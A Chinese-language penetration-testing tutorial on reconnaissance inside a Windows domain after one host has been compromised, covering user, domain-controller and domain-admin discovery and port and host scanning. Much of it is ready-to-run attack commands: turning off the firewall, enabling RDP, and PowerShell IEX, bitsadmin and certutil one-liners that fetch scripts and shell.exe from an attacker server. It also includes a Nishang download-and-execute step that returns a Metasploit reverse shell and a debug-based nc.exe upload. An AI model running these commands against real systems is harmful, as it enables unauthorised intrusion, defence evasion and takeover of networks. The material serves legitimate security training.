在之前的几节中,我们讲了隐藏通讯隧道技术的运用,那其实都是渗透测试的后话,接下来要讲的信息收集才是内网渗透的基础。
可以说内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点:
对当前机器角色的判断
对当前机器所处的网络环境进行判断
对当前机器所处的网络区域进行判断
本机信息收集
查看当前用户、权限
whoami whoami /all // 查看当前域并获取域SID
当前域为god,当前域的sid为S-1-5-21-2952760202-1353902439-238178089,域用户administrator的sid为S-1-5-21-2952760202-1353902439-238178089-500。
查看网络配置情况
ipconfig /all // 查询本机IP段,所在域等 route print // 打印路由信息 arp -a // 查看arp缓存,可以发现内网主机
查看操作系统信息
systeminfo
执行以下命令直接查看操作系统及版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" // 中文操作系统
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看安转的软件及版本信息
wmic product get name,version
查看本地用户列表
net user // 查看本地用户 net localgroup administrators // 查看本地管理员组(通常包含域用户) net user xxx // 查看指定用户详细信息
列出本地计算机与所连接的客户端主机之间的会话
net session
查看补丁列表
systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn
注意:域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以批量找到内网未打补丁的漏洞。
查看本机共享
net share wmic share get name,path,status
查看本机进程
tasklist wmic process wmic process list brief wmic process get processid,executablepath,name // 显示进程的路径、名称、pid
查看本机服务
wmic service list brief
查看自启程序列表
wmic startuo get command,caption
查看端口信息
netstat -ano
可以看到当前主机端口开放与使用情况、与哪些主机建立了连接。
查看主机开机时间
net statistics workstation
查看计划任务
schtasks /query /fo LIST /v // query显示所有计划任务
防火墙相关操作
netsh firewall show state // 防火墙状态 netsh firewall show config // 查看防火墙配置 netsh firewall set opmode disable // 关闭防火墙(windows server 2003及以前) netsh advfirewall set allprofiles state off // 关闭防火墙(windows server 2003以后)
修改防火墙配置
netsh firewall add allowedprogram c:\\xxx\\xx.exe "allow xx" enable // 允许指定程序的全部连接(windows server 2003及以前) windows server 2003之后: netsh advfirewall firewall add rule name="pass xx" dir=in action=allow program="C:\xxx\xx.exe" // 允许某个程序连入 netsh advfirewall firewall add rule name="pass xx" dir=out action=allow program="C:\xxx\xx.exe" // 允许某个程序外连 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow // 开启3389端口,允许改端口放行
开启远程桌面连接
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
自动化的信息收集脚本
下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
该脚本可以在目标机器上面完成服务。用户列表,用户组、网络接口、硬件信息、网络共享信息、操作系统、安装的补丁、安装的软件、自启程序、时区等信息的查询工作。其利用WMIC来收集信息。执行脚本后,会将所有结果写入一个HTML文件,如下图所示
域内信息收集
判断是否存在域
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等 net view /domain // 查看域
上图中,“工作站DNS名称”为域名(若为WORKGROUP,则表示当前不是域环境),登录域为当前登陆的域。
systeminfo
如上图,“域”即域名,如果为WORKGROUP则表示当前不是域环境,机器不在于内。
查看主域控制器
net time /domain // 主域服务器会同时作为时间服务器
可知当前主域为owa。
net group "domain controllers" /domain // 查看域控制器组
nltest /DCLIST:god // 查看域控制器主机名,god为域名
定位域控制器
我们已经知道了与控制器的名称,接下来就要定位域控制器的ip地址了。
ping owa.god.org // owa为域控制器名
如上图得到域控的ip为192.168.52.138。
列出域信任关系
nltest /domain_trusts 列出域与域之间的信任关系
查看域内用户组列表
net group /domain
Domain Admins 域管理员组
Domain Computers 域内的机器
Domain Controllers 域控制器
Domain Users 域用户
Enterprise Admins 企业系统管理员组
查看所有的域成员主机(机器用户;不包括域控):
查看域管理员组:
如上图可以得到域管理员用户有administrator和owa$。
net group "Enterprise Admin" /domain
获取域密码信息
net accounts /domain
查看域用户信息
net user /domain // 查看域用户 net user xxx /domain // 查看指定域用户详细信息
获取域内用户详细信息
wmic useraccount get /all
如上图,可以获取到域用户的用户名、描述信息、SID、域名、状态等。
域内端口扫描
我们在内网渗透中,通过查看域内目标主机的端口开放情况,来了解目标主机上的服务,通过其服务版本还可以找到其开放服务的漏洞。我们可以使用metasploit内置的端口扫描模块,也可以上传端口扫描工具进行扫描。在扫描时注意以下几点:
- 端口的banner信息
- 端口上运行的服务
利用telnet工具进行端口扫描
Telnet是进行远程登录的标准协议和主要方式,它为用户提供了在本地计算机上完成远程主机工作的能力。可以用telnet命令来测试端口号是否正常打开还是关闭状态。使用时需要目标主机在“添加删除程序”里面的“打开或关闭windows功能”里面开启telnet功能,然后你再去CMD的命令行里面输入telnet就没有问题了
telnet <主机> <端口> telnet 192.168.52.138 445
出现连接失败,代表对方端口没有打开。
PowerSploit 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/PowerShellMafia/PowerSploit
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -ports '445,1433,8080,80,3389'" // 或者扫描全部的端口:-Ports "1-65535"
Nishang 中的Invoke-portscan.ps1脚本
下载地址:https://github.com/samratashok/nishang
该脚本可用于发现主机、解析主机名、扫描端口。
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.1.1 -EndAddress 192.168.1.255 -ResolveHost -Port '1-65535'" // -ResolveHost:解析主机名
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可,也是我最常用的一个。详情见我的文章《内网渗透测试:隐藏通讯隧道技术》
Metasploit 端口扫描模块
Metasploit中提供了很多内置的扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/syn auxiliary/scanner/portscan/tcp
收集域内端口的banner信息
banner信息表示“欢迎语”,其中会包含一些敏感信息,在banner信息中,可以获取到软件开发商、软件名称、服务类型、版本号等,而版本号信息有时会存在公开的CVE可以利用。获取到版本号后,可以在中查找到对应的CVE编号,并在ExploitDB等平台上面找到相关的利用方式。
使用Nmap获取banner
nmap <IP地址> --script=banner -p <端口/端口范围>
(666口好像是个木马)
使用nc获取banner
nc -nv <IP地址> <端口>
探测内网主机存活
使用Metasploit模块
Metasploit中提供了很多内置的内网存活主机扫描模块,使用方便,在侵入内网后设置好路由直接扫即可,有时速度有些慢。几个常用的:
auxiliary/scanner/portscan/tcp auxiliary/scanner/discovery/arp_sweep // 基于arp的主机发现 auxiliary/scanner/discovery/empty_udp auxiliary/scanner/discovery/udp_probe auxiliary/scanner/discovery/udp_sweep
利用NetBIOS快速扫描内网存活
Netbios:网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
nbtscan.exe是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。
下载地址:https://github.com/MrAnonymous-1/nbtscan
将nbtscan.exe上传到目标主机上,然后直接输入ip段即可运行扫描:
nbtscan.exe 192.168.1.0/24
扫描两个网段:
SHARING:该主机存在正在运行的文件和打印共享服务
DC:该机器可能是域控制器
?:没有识别处该机器的NetBIOS资源
利用Ping探测内网主机存活(ICMP)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
基于ARP的主机探测
利用arp-scan.exe工具。
下载地址:https://github.com/MrAnonymous-1/arp-scan
将对应系统版本的arp-scan上传到目标主机上,执行如下命令:
arp-scan.exe -t <IP段>
Nmap扫描
这个工具就不用说了,在侵入内网后,挂上代理直接对内网主机扫描即可。
定位域管理员
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到系统管理员组中。因此,域管理员组的成员均可以访问本地计算机,且具备完全控制权限。
我们在渗透中,常常使用各种工具来获取当前域管理员在线登录的机器,入侵此机器,然后迁移到域管理登陆所在的进程,便拥有了域管理的权限。定位域内管理员的常规方法,一是日志,二是会话。
利用 psloggedon.exe
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon.exe可以查看本地登陆的用户和通过本地计算机或远程计算机资源登陆的用户。如果指定的是用户名而不是机器名,psloggedon.exe会搜索网上邻居中的所有计算机,并显示该用户是否已经登录。该工具的某些功能需要管理员权限。
psloggedon.exe [-] [-l] [-x] [\\computername或username]
查看登陆过OWA(域控)机器的用户:
查看本地登陆的用户:
指定用户名,在网络中查找指定用户登陆的计算机:
\\computername | 指定要为其列出登录信息的计算机的名称 |
username | 指定用户名,在网络中搜索该用户登陆的计算机 |
利用 PVEFindADUser.exe
下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
PVEFindADUser.exe 可用于查找活动目录用户登陆的位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括查找本地用户。通过RDP远程桌面登陆的用户、通过运行服务和计划任务的用户。运行该工具需要计算机配置.NET Framework 2.0 环境,并需要有管理员权限。
PVEFindADUser.exe <参数>
我们一般直接运行pvefinaduser.exe -current
命令,即可显示域中所有计算机上当前登陆的所有用户。
显示域中所有计算机上当前登陆的所有用户:
显示指定用户登陆的计算机:
具体参数:
current["username"] | 如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户。如果指定了用户名(Domain\Username),则显示该用户登陆的计算机 |
其他参数:
-target | 用于指定要查询的主机。如果未指定此参数,将查询当前与内所有主机 |
利用 PowerView.ps1 脚本
下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
powerview脚本可以用来获取当前域管理员在线登录的服务器,其依赖powershell和wmi,在powersploit工具包中,是一个收集域信息很好用的脚本。
- Invoke-UserHunter:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。
如下,可以看到本地域有两个域管理员:
我们通过Invoke-UserHunter(等于Invoke-UserHunter -CheckAccess)来定位他们:
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/powersploit/Recon/PowerView.ps1');Invoke-UserHunter
详情请执行
Get-Help Invoke-UserHunter
命令查看,具体使用方法与前两个相似,它可以找到域内特定的用户群,接受用户名、用户列表和域组列表查询,接受一个主机列表或查询可用的主机域名。一切都是灵活的,让你自己定义找寻谁,在哪里找。
获取指定用户在线机器:
PowerView是个非常强大、好用的内网渗透脚本,PowerView的其他命令请查看官方文档。
渗透中的文件上传与下载
有时候我们在拿下一台机器的控制权后,需要在这台主机上上传一些东西,有时还需要将目标机上的文件下载下来。我总结了一下几种方式。
利用Powershell进行文件上传
# 下载脚本并在内存中执行 powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/xxx.ps1')" # 下载文件到指定目录 powershell (new-object system.net.webclient).downloadfile('http://39.xxx.xxx.210/shell.exe','d:/test.exe') # 下载文件到当前目录 powershell (new-object system.net.webclient).downloadfile('http://39.xxx.xxx.210/test.exe','test.exe')
利用Nishang实现文件上传
Download_Execute是Nishang中一个下载执行脚本,它在实战中最常用的功能就是下载一个文本文件,然后将其转换为exe可执行文件执行。
第一步:首先攻击者在本地用Nishang中的exetotext.ps1脚本将exe可执行文件更改为文本文件(这里我们的exe为msf生成的shell.exe)
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Utility/ExetoText.ps1');ExetoText c:\shell.exe c:\shell.txt"
之后,将生成的shell.txt放到vps上面,然后在目标主机上面用Download_Execute脚本下载改shell.txt,将其转化为exe后执行
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/nishang/Execution/Download_Execute.ps1');Download_Execute http://39.xxx.xxx.210/shell.txt
此时正在监听的msf上反弹回了shell:
利用bitsadmin命令上传文件
bitsadmin 可以用来在windows 命令行下下载文件。bitsadmin是 windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之类的下载就是用这个工具来实现的。Windows Server2003和XP是没有bitsadmin的,Winc7及其之后的机器才有。bitsadmin 可以在网络不稳定的状态下下载文件,出错会自动重试,可靠性应该相当不错。
如下,我们利用bitsadmin就可以网目标主机上上传一个文件(将位于外网的文件下载到目标主机上)
bitsadmin /transfer <任务名> <remote_url> <local_name> bitsadmin /transfer shell http://39.xxx.xxx.210/shell.exe c:\users\Liu Sir\shell.exe // "任务名" 可以随意起,保存文件的文件路径必须是已经存在的有权限的目录,否则不能下载。
在bitsadmin下载速度过慢的时候可以使用setpriority xxx foreground设置任务xxx为最高优先级来提速:
先执行: start bitsadmin /transfer shell http://39.xxx.xxx.210/shell.exe c:\users\Liu Sir\shell1.exe 再执行: bitsadmin /setpriority shell foreground
利用certutil命令上传文件
在Win7及其以后的机器都可以使用。(但该命令可能会被杀软查杀)
certutil -urlcache -split -f http://39.xxx.xxx.210/shell.exe // 下载文件到当前目录下 certutil -urlcache -split -f http://39.xxx.xxx.210/shell.exe c:/users/Liu Sir/shell.exe // 下载文件到指定目录下
利用FTP协议进行上传下载
我们要做的是,在自己的vps上面配置好FTP服务器,就可以在目标机上通过ftp命令完成文件的上传下载了。
常用的 FTP 命令:
open <ftp服务器地址>:连接指定的FTP服务器
cd:进入指定的目录
put/send <本地文件> <远程目录>:将目标机器本地文件上传到服务器远程目录 // send和put方法用法都基本相同,但是上传速度send却要比put快很多
get <远程文件> <本地目录>:将ftp服务器上的文件下载到本地目标机器中
利用Debug向目标主机上传文件
DEBUG是一个DOS实用程序,是供程序员使用的程序调试工具,可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性,也可以追踪执行过程、比较一个指令执行前后的值以及比较与移动内存中数据的范围,读写文件与磁盘扇区。
我们利用Debug向目标主机上传文件的原理就是,先将需要上传的exe文件转换为十六进制hex的格式,将hex的内容复制,再通过echo命令将hex内容写入到目标主机上的一个文件中,最后利用debug将hex内容编译成exe文件。
接下来,我们将nc.exe工具利用debug上传至目标主机。
我们使用kali中的exe2bat.exe工具(位于/usr/share/windows-binaries目录下)将二进制的nc.exe转换成16进制的表示,由于exe2bat是windows程序,所以在kali上我们要用wine来执行(linux是不能运行window下的可执行文件的,必须借助于wine):
wine exe2bat.exe nc.exe nc.txt
生成一个nc.txt文件,
exe2bat会把所有代码都生成好(因为本来exe2bat就是用来生成bat的),复制好这些代码,在目标机shell上一条一条的执行到倒数第三行即可将nc.exe的十六进制代码格式写入一个123.hex文件(最后两行要在debug上操作)
(因为文件比较大,我就只演示性的复制几条)
然后到就debug了,把nc.txt的倒数第二行粘贴到windows的shell里面执行(即123.hex作为输入,传输给debug),即依次执行一下两条命令:
debug<123.hex copy 1.dll nc.exe
执行后,会依次在目标机上生成1.dll和nc.exe。
使用该方法时注意,exe2bat.exe只支持小于64KB的文件。
参考:
https://blog.csdn.net/weixin_42998420/article/details/83270171
https://www.cnblogs.com/w0x68y/p/12217082.html
https://www.cnblogs.com/catt1e/p/12723278.html
https://www.secpulse.com/archives/32859.html
https://www.freebuf.com/articles/network/100788.html
《内网安全攻防:渗透测试实战指南》
Ending......
信息收集在内网渗透中非常重要,一般来说手机的信息越多越好,打好信息收集这一基础可以让测试者选择合适和准确的渗透测试攻击方式,缩短渗透测试的时间。通常这个阶段占据整个渗透测试时间的40%~60%。
当然,我所总结的这些远远不够,还需在日后的实践中多多学习。